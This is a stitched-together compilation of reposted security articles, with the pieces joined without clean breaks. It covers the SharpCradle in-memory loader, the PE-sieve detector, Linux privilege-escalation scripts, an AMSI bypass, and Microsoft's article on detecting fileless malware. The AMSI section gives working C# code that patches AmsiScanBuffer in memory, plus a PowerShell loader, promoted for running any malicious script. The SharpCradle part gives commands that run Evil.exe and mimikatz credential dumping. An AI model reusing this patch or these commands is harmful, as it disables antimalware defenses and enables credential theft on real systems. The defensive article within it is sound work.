SharpCradle.exe -f \\IP\share\SharpSploitConsole_x64.exe logonpasswords

File Server Download With Creds:

SharpCradle.exe -f -c domain username password \\IP\share\Evil.exe <arguements to pass>

SharpCradle.exe -f -c domain username password \\IP\share\SharpSploitConsole_x64.exe logonpasswords

Download .NET inline project file from web:

SharpCradle.exe -p

By simply running SharpCradle.exe with the -w flag and giving it the web address of SharpSploitConsole_x64.exe with arguments, you will see that we are able to execute SharpSploitConsole in memory without the SharpSploitConsole binary ever touching disk.

An example of downloading the binary into memory and executing the function logonpasswords from mimikatz would look like the below:

Since SharpCradle also has the ability to retrieve binaries from a file share, we could,  for example, use Impacket’s to spin up a quick anonymous file share on our attack system and call our evil.exe from there.  We could also go as far as to combine this with post exploitation frameworks. Cobalt Strike’s execute-assembly function currently has a 1MB limit.  SharpCradle could be used as away around this by using Cobalt Strike to execute SharpCradle to pull in larger binaries that are over 1MB in size.

Lastly, I have left a few links to where you can grab the tool as well as stand alone .cs files for both web stream or file stream in case you want to customize your own.

Link to tools:

SharpCradle GitHub —

SharpCradle Compiled Binaries —

SharpCradleWeb.cs —

SharpCradleFileShare.cs —

SharpSploitConsole —

SharpSploit —

PE-sieve is a light-weight tool that helps to detect malware running on the system


PE-sieve is a light-weight tool that helps to detect malware running on the system, as well as to collect the potentially malicious material for further analysis. Recognizes and dumps variety of implants within the scanned process: replaced/injected PEs, shellcodes, hooks, and other in-memory patches.
Detects inline hooks, Process Hollowing, Process Doppelgänging, Reflective DLL Injection, etc.

uses library:


Use recursive clone to get the repo together with the submodule:

git clone --recursive

Latest builds*:

*those builds are available for testing and they may be ahead of the official release:

example: classic unmapping (2) vs remapping (3) — with remapping full virtual content of the section is preserved, so it helps i.e. if the full section was unpacked in memory, or if virtual caves were used

logo by Baran Pirinçal

Linux Privilege Escalation via Automated Script

Картинки по запросу Linux Privilege Escalation

( Original text by Raj Chandel )

We all know that, after compromising the victim’s machine we have a low-privileges shell that we want to escalate into a higher-privileged shell and this process is known as Privilege Escalation. Today in this article we will discuss what comes under privilege escalation and how an attacker can identify that low-privileges shell can be escalated to higher-privileged shell. But apart from it, there are some scripts for Linux that may come in useful when trying to escalate privileges on a target system. This is generally aimed at enumeration rather than specific vulnerabilities/exploits. This type of script could save your much time.

Table of Content

  • Introduction
  • Vectors of Privilege Escalation
  • LinuEnum
  • Linuxprivchecker
  • Linux Exploit Suggester 2
  • Bashark
  • BeRoot


Basically privilege escalation is a phase that comes after the attacker has compromised the victim’s machine where he try to gather critical information related to system such as hidden password and weak configured services or applications and etc. All these information helps the attacker to make the post exploit against machine for getting higher-privileged shell.

Vectors of Privilege Escalation

  • OS Detail & Kernel Version
  • Any Vulnerable package installed or running
  • Files and Folders with Full Control or Modify Access
  • File with SUID Permissions
  • Mapped Drives (NFS)
  • Potentially Interesting Files
  • Environment Variable Path
  • Network Information (interfaces, arp, netstat)
  • Running Processes
  • Cronjobs
  • User’s Sudo Right
  • Wildcard Injection

There are several script use in Penetration testing for quickly identify potential privilege escalation vectors on Windows systems and today we are going to elaborate each script which is working smoothly.


Scripted Local Linux Enumeration & Privilege Escalation Checks Shellscript that enumerates the system configuration and high-level summary of the checks/tasks performed by LinEnum.

Privileged access: Diagnose if the current user has sudo access without a password; whether the root’s home directory accessible.

System Information: Hostname, Networking details, Current IP and etc.

User Information: Current user, List all users including uid/gid information, List root accounts, Checks if password hashes are stored in /etc/passwd.

Kernel and distribution release details.

You can download it through github with help of following command:

Once you download this script, you can simply run it by tying ./ on terminal. Hence it will dump all fetched data and system details.

Let’s Analysis Its result what is brings to us:

OS & Kernel Info: 4.15.0-36-generic, Ubuntu-16.04.1

Hostname: Ubuntu


Super User Accounts: root, demo, hack, raaz

Sudo Rights User: Ignite, raj

Home Directories File Permission

Environment Information

And many more such things which comes under the Post exploitation.


Enumerates the system configuration and runs some privilege escalation checks as well. It is a python implementation to suggest exploits particular to the system that’s been taken under. Use wget to download the script from its source URL.

Now to use this script just type python on terminal and this will enumerate file and directory permissions/contents. This script works same as LinEnum and hunts details related to system network and user.

Let’s Analysis Its result what is brings to us.

OS & Kernel Info: 4.15.0-36-generic, Ubuntu-16.04.1

Hostname: Ubuntu

Network Info: Interface, Netstat

Writable Directory and Files for Users other than Root: /home/raj/script/

Checks if Root’s home folder is accessible

File having SUID/SGID Permission

For example: /bin/raj/ which is a bash script with SUID Permission

Linux Exploit Suggester 2

Next-generation exploit suggester based on Linux_Exploit_Suggester. This program performs a ‘uname -r‘ to grab the Linux operating system release version, and returns a list of possible exploits.

This script is extremely useful for quickly finding privilege escalation vulnerabilities both in on-site and exam environments.

Key Improvements Include:

  • More exploits
  • Accurate wildcard matching. This expands the scope of searchable exploits.
  • Output colorization for easy viewing.
  • And more to come

You can use the ‘-k’ flag to manually enter a wildcard for the kernel/operating system release version.


Bashark aids pentesters and security researchers during the post-exploitation phase of security audits.

Its Features

  • Single Bash script
  • Lightweight and fast
  • Multi-platform: Unix, OSX, Solaris etc.
  • No external dependencies
  • Immune to heuristic and behavioural analysis
  • Built-in aliases of often used shell commands
  • Extends system shell with post-exploitation oriented functionalities
  • Stealthy, with custom cleanup routine activated on exit
  • Easily extensible (add new commands by creating Bash functions)
  • Full tab completion

Execute following command to download it from the github:


To execute the script you need to run following command:

The help command will let you know all available options provide by bashark for post exploitation.

With help of portscan option you can scan the internal network of the compromised machine.

To fetch all configuration file you can use getconf option. It will pull out all configuration file stored inside /etcdirectory. Similarly you can use getprem option to view all binaries files of the target‘s machine.


BeRoot Project is a post exploitation tool to check common misconfigurations to find a way to escalate our privilege. This tool does not realize any exploitation. It mains goal is not to realize a configuration assessment of the host (listing all services, all processes, all network connection, etc.) but to print only information that have been found as potential way to escalate our privilege.


To execute the script you need to run following command:

It will try to enumerate all possible loopholes which can lead to privilege Escalation, as you can observe the highlighted yellow color text represents weak configuration that can lead to root privilege escalation whereas the red color represent the technique that can be used to exploit.

It’s Functions:

Check Files Permissions

SUID bin

NFS root Squashing


Sudo rules

Kernel Exploit

Conclusion: Above executed script are available on github, you can easily download it from github. These all automated script try to identify the weak configuration that can lead to root privilege escalation.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

How to bypass AMSI and execute ANY malicious Powershell code

Картинки по запросу amsi microsoft

( original text by 

Hello again. In my previous posts I detailed how to manually get SYSTEM shell from Local Administrators users. That’s interesting but very late game during a penetration assessment as it is presumed that you already owned the target machine.

This post will be more useful for early game, as AMSI (Anti Malware Scan Interface) can be a trouble to get a shell, or to execute post-exploitation tools while you still do not have an admin shell.

What is AMSI?


As it’s name suggests, it’s job is to scan, detect and block anything that does bad stuff.

Still doesn’t know what this is? Check this screenshot:


Obviously if you are experienced with penetration testing in Windows environments, you had such error with almost all public known scripts that are used like some in Nishang, Empire, PowerSploit and other awesome PowerShell scripts.

How does AMSI works?

AMSI uses “string-based” detection measures to determine if a PowerShell code is malicious or not.

Check this example:


Yes, the word “amsiutils” is banned. If have this word in your name, my friend, you are a malicious person for AMSI.

How to bypass string detection?

Everyone knows that string detection is very easy to bypass, just don’t use your banned string literally. Use encoding or split it in chunks and reassemble to get around this.

Here are three ways of executing the “banned” code and not get blocked:


Simply by splitting the word in half is enough to fool this detection scheme. We see this a lot in obfuscation. But in most of the cases, this method can fail.


In some cases, simply by decoding a Base64 banned code is enough to get around it.


And of course, you could use XOR to trick amsi and decode your string back to memory during runtime. This would be the more effective one, as it would need a higher abstraction to detect it.

All this techniques are to “GET AROUND” string detection, but we don’t want that. We want to execute the scripts in original state, the state where they are blocked by AMSI.

AMSI bypass by memory patching

This is the true bypass. Actually we do not “bypass” in the strict meaning of the word, we actually DISABLE it.

AMSI has several functions that are executed before any PowerShell code is run (from Powershell v3.0 onwards), so to bypass AMSI completely and execute any PowerShell malware, we need to memory patch them to COMPLETELY DISABLE it.

The best technique I have found in the internet is in this Link and it works in most recent version of Windows!

I wont enter in details about memory patching, you can get these details in above link

Instead, we will weaponize this technique and apply it to a PowerShell script, so we can use it in our real life engagements!

We will compile a C# DLL with code that will apply the above mentioned technique and then we will load and execute this code in a PowerShell session, disabling AMSI completely!

using System;
using System.Runtime.InteropServices;

namespace Bypass
    public class AMSI
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        public static extern IntPtr LoadLibrary(string name);
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

        public static int Disable()
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;

             * This is a new technique, and is still working.
             * Source:
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;

Now, with possession of a DLL of the above code, use it like this:


See that we are able to use the banned word freely. From this point onwards, THERE IS NO AMSI. We are free to load ANY powershell script, malicious or not. By combining this type of attack with your malicious tools you will 100% success against AMSI.

Weaponinzing with PowerShell

Of course, in a Penetration Test we must have tools to apply such techniques automatically. Again, as we used .NET framework through C#, we can create a Posh script that reflects our DLL in-memory during runtime, without the need to touch the disk with our DLL.

Here is my PowerShell script to disable AMSI:

function Bypass-AMSI
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        Write-Output "DLL has been reflected";

This will bypass string detection because it does not uses anything malicious at all. It just loads an .NET assembly to memory and execute it’s code. And after executing it, you are FREE to execute real PowerShell malware!

Check my results:


This technique is awesome and extremly useful. You can put to use a handful of PowerShell post-exploitation scripts like Nishang, Powersploit and any other PoSH hacking tool that once was blocked by the annoying AMSI.

I hope you liked this post, all the credits for the technique goes to guys from CyberArk website, I only showed how to effectively use it in a real-life scenario from an attacker perspective.

Best regards,


Out of sight but not invisible: Defeating fileless malware with behavior monitoring, AMSI, and next-gen AV


( Original text  by Andrea Lelli )

Consider this scenario: Two never-before-seen, heavily obfuscated scripts manage to slip past file-based detection and dynamically load an info-stealing payload into memory. The scripts are part of a social engineering campaign that tricks potential victims into running the scripts, which use the file names install_flash_player.js and BME040429CB0_1446_FAC_20130812.XML.PDF.js, to distribute and run the payload.

The payload is sophisticated and particularly elusive, given that it:

  • Doesn’t touch the disk, and does not trigger antivirus file scanning
  • Is loaded in the context of the legitimate process that executed the scripts (i.e., wscript.exe)
  • Leaves no traces on the disk, such that forensic analysis finds limited evidence

These are markers of a fileless threat. Still, Windows Defender Advanced Threat Protection (Windows Defender ATPantivirus capabilities detect the payload, stopping the attack in its tracks. How is this possible?

In this scenario, Antimalware Scan Interface (AMSI) facilitates detection. AMSI is an open interface that allows antivirus solutions to inspect script behavior by exposing script contents in a form that is both unencrypted and unobfuscated.

AMSI is part of the range of dynamic next-gen features that enable antivirus capabilities in Windows Defender ATP to go beyond file scanning. These features, which also include behavior monitoring, memory scanning, and boot sector protection, catch a wide spectrum of threats, including new and unknown (like the two scripts described above), fileless threats (like the payload), and other sophisticated malware.

Generically detecting fileless techniques

The two aforementioned obfuscated scripts are actual malware detected and blocked in the wild by antivirus capabilities in Windows Defender ATP. Removing the first layer of obfuscation reveals a code that, while still partially obfuscated, showed some functions related to a fileless malware technique called Sharpshooter. We found the two scripts, which were variants of the same malware, not long after the Sharpshooter technique was documented and published by MDSec in 2017.

The Sharpshooter technique allows an attacker to use a script to execute a .NET binary directly from memory without ever needing to reside on the disk. This technique provides a framework that can enable attackers to easily repackage the same binary payload within a script. As demonstrated by the example of the two scripts, files that use the Sharpshooter technique can then be used in social engineering attacks to lure users into running the script to deliver a fileless payload.

Screenshot of obfuscated scriptFigure 1. Obfuscated code from install_flash_player.js script

Screenshot of the script which contains functions typically used in the Sharpshooter technique

Figure 2. After de-obfuscation, the script contains functions typically used in the Sharpshooter technique

When the Sharpshooter technique became public, we knew it was only a matter time before it would be used it in attacks. To protect customers from such attacks, we implemented a detection algorithm based on runtime activity rather than on the static script. In other words, the detection is effective against the Sharpshooter technique itself, thus against new and unknown threats that implement the technique. This is how Windows Defender ATP blocked the two malicious scripts at first sight, preventing the fileless payload from being loaded.

The detection algorithm leverages AMSI support in scripting engines and targets a generic malicious behavior (a fingerprint of the malicious fileless technique). Script engines have the capability to log the APIs called by a script at runtime. This API logging is dynamic and is therefore not hindered by obfuscation: a script can hide its code, but it cannot hide its behavior. The log can then be scanned by antivirus solutions via AMSI when certain dangerous APIs (i.e., triggers) are invoked.

This is the dynamic log generated by the scripts and detected by Windows Defender ATP at runtime via AMSI:

Screenshot of the dynamic AMSI log generated during the execution of the Sharpshooter techniqueFigure 3. Dynamic AMSI log generated during the execution of the Sharpshooter technique in the two malicious scripts

Using this AMSI-aided detection, Windows Defender ATP disrupted two distinct malware campaigns in June, as well as the steady hum of daily activities.

Figure 4. Windows Defender ATP telemetry shows two Sharpshooter campaigns in June

Furthermore, generically detecting the Sharpshooter technique allowed us to discover a particularly sophisticated and interesting attack. Windows Defender ATP’s endpoint and detection response capabilities caught a VBScript file that used the Sharpshooter technique.

Sample Windows Defender ATP alert showing how detection of the Sharpshooter technique by Windows Defender AV is surfaced in Windows Defender Security CenterFigure 5. Sample Windows Defender ATP alert showing how detection of the Sharpshooter technique by Windows Defender AV is surfaced in Windows Defender Security Center

We analyzed the script and extracted the fileless payload, a very stealthy .NET executable. The malware payload downloads data from its command-and-control (C&C) server via the TXT records of DNS queries. In particular, it downloads the initialization vector and decryption key necessary to decode the core of the malware. The said core is also fileless because it’s executed directly in memory without being written on the disk. Thus, this attack leveraged two fileless stages.

Screenshot showing that the core component of the malware is decrypted and executed from memoryFigure 6. The core component of the malware is decrypted and executed from memory

Our investigation into the incident turned up enough indicators for us to conclude that this was likely a penetration testing exercise or a test involving running actual malware, and not a real targeted attack.

Nonetheless, the use of fileless techniques and the covert network communication hidden in DNS queries make this malware similar in nature to sophisticated, real-world attacks. It also proved the effectiveness of the dynamic protection capabilities of Windows Defender ATP. In a previous blog post, we documented how such capabilities allow Windows Defender ATP to catch KRYPTON attacks and other high-profile malware.

Upward trend in fileless attacks and living off the land

Removing the need for files is the next progression of attacker techniques. Antivirus solutions have become very efficient in detecting malicious executables. Real-time protection gives visibility on each new file that lands on the disk. Furthermore, file activity leaves a trail of evidence that can be retrieved during forensic analysis. That’s why we are seeing an increase in attacks that use of malware with fileless techniques.

At a high level, a fileless malware runs its main payload directly in memory without having to drop the executable file on the disk first. This differs from traditional malware, where the payload always requires some initial executable or DLL to carry out its tasks. A common example is the Kovter malware, which stores its executable payload entirely in registry keys. Going fileless allows the attackers to avoid having to rely on physical files and improve stealth and persistence.

For attackers, building fileless attacks poses some challenges; in primis: how do you execute code if you don’t have a file? Attackers found an answer in the way they infect other components to achieve execution within these components’ environment. Such components are usually standard, legitimate tools that are present by default on a machine and whose functionality can be abused to accomplish malicious operations.

This technique is usually referred to as “living off the land”, as malware only uses resources already available in the operating system. An example is the Trojan:Win32/Holiks.A malware abusing the mshta.exe tool:

Trojan:Win32/Holiks.A is abusing mshta.exe to execute a script from command-lineFigure 7. Trojan:Win32/Holiks.A is abusing mshta.exe to execute a script from command-line

The malicious script resides only in the command line; it loads and executes further code from a registry key. The whole execution happens within the context of the mshta.exe process, which is a clean executable and tends to be trusted as a legitimate component of the operating system. Other similar tools, such as cmstp.exeregsvr32.exepowershell.exeodbcconf.exerundll3.exe, just to name a few, have been abused by attackers. Of course, the execution is not limited to scripts; the tools may allow the execution of DLLs and executables, even from remote locations in some cases.

By living off the land, fileless malware can cover its tracks: no files are available to the antivirus for scanning and only legitimate processes are executed. Windows Defender ATP overcomes this challenge by monitoring the behavior of the system for anomalies or known patterns of malicious usage of legitimate tools. For example, Trojan:Win32/Powemet.A!attk is a generic behavior-based detection designed to prevent attacks that leverage the regsvr32.exe tool to run malicious scripts.

Figure 8. Antivirus capabilities in Windows Defender ATP blocking legitimate regsvr32 tool abused to download and run a malicious remote script

What exactly is “fileless”?

The term “fileless” suggests that a threat that does not come in a file, such as a backdoor that lives only in the memory of a machine. However, there’s no generally accepted definition. The term is used broadly; it’s also used to describe malware families that do rely on files in order to operate. In the Sharpshooter example, while the payload itself is fileless, the entry point relies on scripts that need to be dropped on the target’s machine and executed. This, too, is considered a fileless attack.

Given that attacks involve several stages for functionalities like execution, persistence, information theft, lateral movement, communication with command-and-control, etc., some parts of the attack chain may be fileless, while others may involve the filesystem in some form or another.

To shed light on this loaded term, we grouped fileless threats into different categories.

Taxonomy of fileless threats

Figure 9. Taxonomy of fileless threats

We can classify fileless threats by their entry point (i.e., execution/injection, exploit, hardware), then the form of entry point (e.g., file, script, etc.), and finally by the host of the infection (e.g., Flash, Java, documents).

From this classification, we can glean three big types of fileless threats based on how much fingerprint they may leave on infected machines.

  • Type I: No file activity performed. A completely fileless malware can be considered one that never requires writing a file on the disk.
  • Type II: No files written on disk, but some files are used indirectly. There are other ways that malware can achieve fileless presence on a machine without requiring significant engineering effort. Fileless malware of this type do not directly write files on the file system, but they can end up using files indirectly.
  • Type III: Files required to achieve fileless persistence. Some malware can have some sort of fileless persistence but not without using files in order to operate.

Having described the broad categories, we can now dig into the details and provide a breakdown of the infection hosts. This comprehensive classification covers the panorama of what is usually referred to as fileless malware. It drives our efforts to research and develop new protection features that neutralize classes of attacks and ensure malware does not get the upper hand in the arms race.

Exploits Hardware Execution or injection
  • File-based (Type III: executable, Flash, Java, documents)
  • Network-based (Type I)
  • Device-based (Type I: network card, hard disk)
  • CPU-based (Type I)
  • USB-based (Type I)
  • BIOS-based (Type I)
  • Hypervisor-based (Type I)
  • File-based (Type III: executables, DLLs, LNK files, scheduled tasks)
  • Macro-based (Type III: Office documents)
  • Script-based (Type II: file, service, registry, WMI repo, shell)
  • Disk-based (Type II: Boot Record)

For a detailed description and examples of these categories, visit this comprehensive page on fileless threats.

Defeating fileless malware with next-gen protection

File-based inspection is ineffective against fileless malware. Antivirus capabilities in Windows Defender ATP use defensive layers based on dynamic behavior and integrate with other Windows technologies to detect and terminate threat activity at runtime.

Windows Defender ATP’s next-gen dynamic defenses have become of paramount importance in protecting customers from the increasingly sophisticated attacks that fileless malware exemplifies. In a previous blog post we described some of the offensive and defensive technologiesrelated to fileless attacks and how these solutions help protect our customers. Evolving from the file-centric scanning model, Windows Defender ATP uses a generic and more powerful behavior-centric detection model to neutralize generic malicious behaviors and thus take out entire classes of attack.


Antimalware Scan Interface (AMSI) is an open framework that applications can use to request antivirus scans of any data. Windows leverages AMSI extensively in JavaScript, VBScript, and PowerShell. In addition, Office 365 client applications integrates with AMSI, enabling antivirus and other security solutions to scan macros and other scripts at runtime to check for malicious behavior. In the example above, we have shown how AMSI can be a powerful weapon to fight fileless malware.

Windows Defender ATP integrates with AMSI and consumes all AMSI signals for protection, these signals are especially effective against obfuscation. It has led to the disruption of malware campaigns like Nemucod. During a recent investigation, we stumbled upon some malicious scripts that were heavily obfuscated. We collected three samples that were evading static signatures and are a mixture of barely recognizable script code and binary junk data.

Heavy obfuscation of three different samples of TrojanDownloader:Script/Nemucod.JACFigure 10. Heavy obfuscation of three different samples of TrojanDownloader:Script/Nemucod.JAC.

However, after manual de-obfuscation, it turned out that these samples decode and execute the same .js script payload, a known downloader:

A portion of the second stage downloader decrypted by Nemucod.JACFigure 11: A portion of the second stage downloader decrypted by Nemucod.JAC

The payload does not have any obfuscation and is very easy to detect, but it never touches the disk and so could evade file-based detection. However, the scripting engine is capable of intercepting the attempt to execute the decoded payload and ensuring that the payload is passed to the installed antivirus via AMSI for inspection. Windows Defender ATP has visibility on the real payload as it’s decoded at runtime and can easily recognize known patterns and block the attack before it deals any damage.

Instead of writing a generic detection algorithm based on the obfuscation patterns in the samples, we trained an ML model on this behavior log and wrote heuristic detection to catch the decrypted scripts inspected via AMSI. The results proved effective, catching new and unknown variants, protecting almost two thousand machines in a span of two months. Traditional detection would not have been as effective.

Figure 12. Nemucod.JAC attack campaigns caught via AMSI

Behavior monitoring

Windows Defender ATP’s behavior monitoring engine provides an additional layer of antivirus protection against fileless malware. The behavior monitoring engine filters suspicious API calls. Detection algorithms can then match dynamic behaviors that use particular sequences of APIs with specific parameters and block processes that expose known malicious behaviors. Behavior monitoring is useful not only for fileless malware, but also for traditional malware where the same malicious code base gets continuously repacked, encrypted, or obfuscated. Behavior monitoring proved effective against WannaCry, which was distributed through the DoublePulsar backdoor and can be categorized as a very dangerous Type I fileless malware. While several variants of the WannaCry binaries were released in attack waves, the behavior of the ransomware remained the same, allowing antivirus capabilities in Windows Defender ATP to block new versions of the ransomware.

Behavior monitoring is particularly useful against fileless attacks that live off the land. The PowerShell reverse TCP payload from Meterpreter is an example: it can be run completely on a command line and can provide a PowerShell session to a remote attacker.

Example of a possible command line generated by MeterpreterFigure 13. Example of a possible command line generated by Meterpreter

There’s no file to scan in this attack, but through behavior monitoring in its antivirus capabilities, Windows Defender ATP can detect the creation of the PowerShell process with the particular command line required. Behavior monitoring detects and blocks numerous attacks like this on a daily basis.

Figure 14. Detections of the PowerShell reverse TCP payload

Beyond looking at events by process, behavior monitoring in Windows Defender ATP can also aggregate events across multiple processes, even if they are sparsely connected via techniques like code injection from one process to another (i.e., not just parent-child processes). Moreover, it can persist and orchestrate sharing of security signals across Windows Defender ATP components (e.g., endpoint detection and response) and trigger protection through other parts of the layered defenses.

Behavior monitoring across multiple processes is not only an effective protection against fileless malware; it’s also a tool to catch attack techniques in generic ways. Here is another example where multi process behavior monitoring in action, Pyordono.A is a detection based on multi-process events and is aimed at blocking scripting engines (JavaScript, VBScript, Office macros) that try to execute cmd.exe or powershell.exe with suspicious parameters. Windows Defender ATP telemetry shows this detection algorithm protecting users from several campaigns.

Figure 15. Pyordono.A technique detected in the wild

Recently, we saw a sudden increase in Pyordono.A encounters, reaching levels way above the average. We investigated this anomaly and uncovered a widespread campaign that used malicious Excel documents and targeted users in Italy from September 8 to 12.

Screenshot of malicious Excel document with instructions in Italian to click “Enable content”Figure 16. Malicious Excel document with instructions in Italian to click “Enable content”

The document contains a malicious macro and uses social engineering to lure potential victims into running the malicious code. (Note: We have recently integrated Office 365 clients apps with AMSI, enabling antivirus solutions to scan macros at runtime to check for malicious content).

The obfuscated macro code attempts to run an obfuscated Cmd command which in turns executes an obfuscated Powershell script. In the end, the Ursnif trojan is delivered.Figure 17. The obfuscated macro code attempts to run an obfuscated Cmd command which in turns executes an obfuscated Powershell script. In the end, the Ursnif trojan is delivered.

The macro makes use of obfuscation to execute a cmd command, which is also obfuscated. The cmd command executes a PowerShell script that in turn downloads additional data and delivers the payload, infostealing Ursnif. We recently reported a small-scale Ursnif campaign that targeted small businesses in specific US cities. Through multi-process behavior monitoring, Windows Defender ATP detected and blocked the new campaign targeting users in Italy using a generic detection algorithm without prior knowledge of the malware.

Memory scanning

Antivirus capabilities in Windows Defender ATP also employ memory scanning to detect the presence of malicious code in the memory of a running process. Even if malware can run without the use of a physical file, it does need to reside in memory in order to operate and is therefore detectable by means of memory scanning. An example is the GandCrab ransomware, which was reported to have become fileless. The payload DLL is encoded in a string, then decoded and run dynamically via PowerShell. The DLL itself is never dropped on the disk. Using memory scanning, Windows Defender ATP can scan the memory of running processes and detect known patterns of the ransomware run from the stealthy DLL.

Memory scanning, in conjunction with behavior monitoring and other dynamic defenses, helped Windows Defender ATP to disrupt a massive Dofoil campaign. Dofoil, a known nasty downloader, uses some sophisticated techniques to evade detection, including process hollowing, which allows the malware to execute in the context of a legitimate process (e.g., explorer.exe). To this day, memory scanning detects Dofoil activities.

Figure 18. Detections of the memory-resident Dofoil payload

Memory scanning is a versatile tool: when suspicious APIs or behavior monitoring events are observed at runtime, antivirus capabilities in Windows Defender ATP trigger a memory scan in key points it is more likely to observe (and detect) a payload that has been decoded and may be about to run. This gives Windows Defender ATP granular control on which actions are more interesting and may require more attention. Every day, memory scanning allows Windows Defender ATP to protect thousands of machines against active high-profile threats like Mimikatz and WannaCry.

Boot Sector protection

With Controlled folder access on Windows 10, Windows Defender ATP does not allow write operations to the boot sector, thus closing a dangerous fileless attack vector used by PetyaBadRabbit, and bootkits in general. Boot infection techniques can be suitable for fileless threats because they can allow malware to reside outside of the file system and gain control of the machine before the operating system is loaded. The use of rootkit techniques, like in the defunct Alureon malware (also known as TDSS or TDL-4), can then render the malware invisible and extremely difficult to detect and remove. With Controlled folder access, which is part of Windows Defender ATP’s attack surface reduction capabilities, this entire class of infection technique has become a thing of the past.

Control Folder Access preventing a boot sector infection attempted by PetyaFigure 19. Control Folder Access preventing a boot sector infection attempted by Petya

Windows 10 in S mode: Naturally resistant to fileless attacks

Windows 10 in S mode comes with a preconfigured set of restrictions and policies that make it naturally protected against a vast majority of the fileless techniques (and against malware in general). Among the available security features, the following ones are particularly effective against fileless threats:

For executables: Only Microsoft-verified applications from the Microsoft Store are allowed to run. Furthermore, Device Guard provides User Mode Code Integrity (UMCI) to prevent the loading of unsigned binaries.

For scripts: Scripting engines are not allowed to run (including JavaScript, VBScript, and PowerShell).

For macros: Office 365 does not allow the execution of macros in documents from the internet (for example, documents that are downloaded or received as attachment in emails from outside the organization).

For exploits: Exploit protection and Attack surface reduction rules are also available on Windows 10 in S mode as a consistent barrier against exploitation.

With these restrictions in place, Windows 10 in S mode devices are in a robust, locked down state, removing crucial attack vectors used by fileless malware.


As antivirus solutions become better and better at pinpointing malicious files, the natural evolution of malware is to shift to attack chains that use as few files as possible. While fileless techniques used to be employed almost exclusively in sophisticated cyberattacks, they are now becoming widespread in common malware, too.

At Microsoft, we actively monitor the security landscape to identify new threat trends and develop solutions that continuously enhance Windows security and mitigate classes of threats. We instrument durable generic detections that are effective against a wide range of threats. Through AMSI, behavior monitoring, memory scanning, and boot sector protection, we can inspect threats even with heavy obfuscation. Machine learning technologies in the cloud allow us to scale these protections against new and emerging threats.

Security solutions on Windows 10 integrate into a unified endpoint security platform in Windows Defender Advanced Threat Protection. Windows Defender ATP includes attack surface reduction, next-generation protection, endpoint protection and response, auto investigation and remediation, security posture, and advanced hunting capabilities. To test how Windows Defender ATP can help your organization detect, investigate, and respond to advanced attacks, sign up for a free trial.

Protections against fileless and other threats are shared across Microsoft 365, which integrate technologies in Windows, Office 365, and Azure. Through the Microsoft Intelligent Security Graph, security signals are shared and remediation is orchestrated across Microsoft 365.